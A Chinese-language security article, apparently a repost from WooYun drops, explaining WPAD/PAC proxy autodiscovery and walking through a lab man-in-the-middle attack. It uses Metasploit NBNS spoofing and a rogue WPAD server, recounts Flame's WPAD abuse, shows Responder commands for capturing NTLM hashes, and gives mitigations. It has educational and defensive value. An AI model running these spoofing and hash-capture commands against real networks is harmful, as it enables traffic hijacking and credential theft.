<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/11107

    0x00 前言


    [email protected]很受啟發,于是對其實際利用做了進一步研究,發現基于WPAD的中間人攻擊很是有趣,現將收獲分享給大家。

    p1

    0x01 簡介


    WPAD:

    全稱網絡代理自動發現協議(Web Proxy Autodiscovery Protocol),通過讓瀏覽器自動發現代理服務器,定位代理配置文件,下載編譯并運行,最終自動使用代理訪問網絡。

    PAC:

    全稱代理自動配置文件(Proxy Auto-Config),定義了瀏覽器和其他用戶代理如何自動選擇適當的代理服務器來訪問一個URL。

    要使用 PAC,我們應當在一個網頁服務器上發布一個PAC文件,并且通過在瀏覽器的代理鏈接設置頁面輸入這個PAC文件的URL或者通過使用WPAD協議告知用戶代理去使用這個文件。

    WPAD標準使用 wpad.dat,PAC文件舉例:

    #!js
    function FindProxyForURL(url, host) {
       if (url== 'http://www.baidu.com/') return 'DIRECT';
       if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
       if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
       return 'DIRECT';
    }
    

    0x02 WPAD原理


    如圖

    這里寫圖片描述

    此圖片修改于http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a

    用戶在訪問網頁時,首先會查詢PAC文件的位置,具體方式如下:

    1、通過DHCP服務器

    如圖

    這里寫圖片描述

    web瀏覽器向DHCP服務器發送DHCP INFORM查詢PAC文件位置

    DHCP服務器返回DHCP ACK數據包,包含PAC文件位置

    2、通過DNS查詢

    web瀏覽器向DNS服務器發起 WPAD+X 的查詢

    DNS服務器返回提供WPAD主機的IP地址

    web瀏覽器通過該IP的80端口下載wpad.dat

    3、通過NBNS查詢

    Tips:

    Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS

    Windows Vista 之后(包括 2K8 , Win7,Win8.x,Win 10)支持DNS、NBNS、LLMNR

    如果DHCP和DNS服務器均沒有響應,同時當前緩存沒有所請求的主機名,就會發起如下名稱解析:

    如果當前系統支持LLMNR(Link-Local Multicast Name Resolution),先發起廣播LLMNR查詢,如果沒有響應再發起廣播NBNS查詢

    如果有主機回應PAC文件位置

    web瀏覽器通過該IP的80端口下載wpad.dat

    0x03 WPAD漏洞


    對照WPAD的原理,不難發現其中存在的漏洞,如圖

    這里寫圖片描述

    此圖片修改于 http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a

    如果在被攻擊用戶發起NBNS查詢時偽造NBNS響應,那么就能控制其通過偽造的代理服務器上網,達到會話劫持的目的。

    0x04 WPAD漏洞測試


    測試環境:

    被攻擊用戶:
    win7 x86
    192.168.16.191
    
    攻擊用戶:
    kali linux
    192.168.16.245
    

    測試過程:

    1、監聽NBNS查詢

    use auxiliary/spoof/nbns/nbns_response
    set regex WPAD
    set spoofip 192.168.16.245
    run
    

    如圖

    這里寫圖片描述

    2、設置WPAD服務器

    use auxiliary/server/wpad
    set proxy 192.168.16.245
    run
    

    如圖

    這里寫圖片描述

    3、被攻擊用戶發起查詢

    構造廣播NBNS查詢

    需要使當前dbcp和dns服務器均無法提供的PAC文件位置

    4、響應被攻擊機用戶的廣播NBNS查詢

    如圖

    這里寫圖片描述

    攻擊主機響應廣播NBNS查詢并指定PAC文件位置

    被攻擊主機訪問指定的PAC位置請求下載

    wireshark抓包如圖

    廣播NBNS查詢包,如圖

    這里寫圖片描述

    NBNS查詢響應包,如圖

    這里寫圖片描述

    被攻擊主機請求PAC文件位置,如圖

    這里寫圖片描述

    攻擊主機回復PAC文件信息,如圖

    這里寫圖片描述

    Tips:

    虛擬機環境下使用wireshark只抓本地數據包,需要取消混雜模式

    如圖

    這里寫圖片描述

    5、被攻擊機用戶使用偽造的代理配置上網

    可在偽造的代理上面抓取被攻擊用戶的數據包,中間人攻擊成功。

    0x05 WPAD實際利用


    基于WPAD的中間人攻擊有多大威力,超級電腦病毒Flame給了我們很好的示范。

    其工作模式如下:

    1、SNACK: NBNS spoofing

    監聽當前網絡,如果收到了NBNS查詢包含WPAD字符,立即偽造NBNS響應

    2、MUNCH: Spoofing proxy detection and Windows Update request

    提供WPAD服務,用來更改被攻擊主機的WPAD設置

    當其成功作為被攻擊主機的代理后,會劫持特定的Windows更新請求,提供帶有后門的windows更新文件給用戶下載

    如圖為測試環境下抓到的windows更新請求包

    這里寫圖片描述

    Burp suite抓到的數據包:

    這里寫圖片描述

    Flame最終成功實現了基于WPAD實施中間人攻擊,篡改windows更新數據,最終感染了內網其他主機。

    0x06 防護


    可通過如下設置關閉WPAD應用來避免此種攻擊:

    Internet Explorer-Internet Options-Connections-LAN settings

    取消選中Automatically detect settings

    如圖

    這里寫圖片描述

    這里寫圖片描述

    如果已被NBNS中間人攻擊,可通過查看netbios緩存檢查

    nbtstat -c
    

    如圖

    這里寫圖片描述

    0x07 補充


    Responder:

    Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

    Responder可以說是內網中間人攻擊神器,很值得嘗試

    簡單使用命令如下:

    git clone https://github.com/SpiderLabs/Responder.git
    cd Responder/
    
    python Responder.py -I eth0 -i 192.168.16.245 -b
    

    當被攻擊主機訪問主機共享時就能抓到其hash,如圖

    這里寫圖片描述

    0x08 小結


    雖然WPAD不是很新的技術,但是對其了解的都不太多,在內網滲透中應該被重視。

    參考資料:

    本文由三好學生原創并首發于烏云drops,轉載請注明

    97av